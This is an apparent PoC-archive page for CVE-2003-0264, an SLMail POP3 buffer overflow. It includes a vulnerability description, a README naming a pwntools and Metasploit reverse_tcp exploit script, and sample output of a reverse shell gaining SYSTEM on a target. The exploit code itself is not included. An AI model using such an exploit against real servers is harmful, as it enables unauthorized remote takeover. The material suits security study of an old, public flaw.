Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2003-0264 PoC — SLMail安全漏洞

Source
Associated Vulnerability
Title:SLMail安全漏洞 (CVE-2003-0264)
Description:SLMail 5.1.0.4420版本存在安全漏洞。远程攻击者可以通过(1)slmail.exe中的超长EHLO 参数,(2) slmail.exe中的超长XTRN参数,(3) POPPASSWD中的超长字符串,或(4)POP3服务器中的超长密码执行任意代码。
Description
Exploit for CVE-2003-0264 based on pwntools and metasploit's windows/reverse_tcp
Readme
# CVE-2003-0264

Exploit for buffer overflow in SLmail 5.5 (CVE-2003-0264)

Based on:
* https://github.com/Gallopsled/pwntools
* https://github.com/rapid7/metasploit-framework

Example output:
```
$ ./slmail-into-shell.py
[+] Opening connection to 192.168.15.100 on port 110: Done

[+] Trying to bind to 0.0.0.0 on port 4444: Done
[+] Waiting for connections on 0.0.0.0:4444: Got connection from 192.168.15.100 on port 49168
[*] Received server hello
[*] Switching to interactive mode
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\SLmail\System>$ whoami
whoami
nt authority\system
 
C:\Program Files (x86)\SLmail\System>$
[*] Closed connection to 192.168.15.100 port 49168
[*] Closed connection to 192.168.15.100 port 110
File Snapshot

[4.0K] /data/pocs/2c3ea71d17d24b012345364badfd8383cd08ba0c ├── [ 801] README.md └── [3.4K] slmail-into-shell.py 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.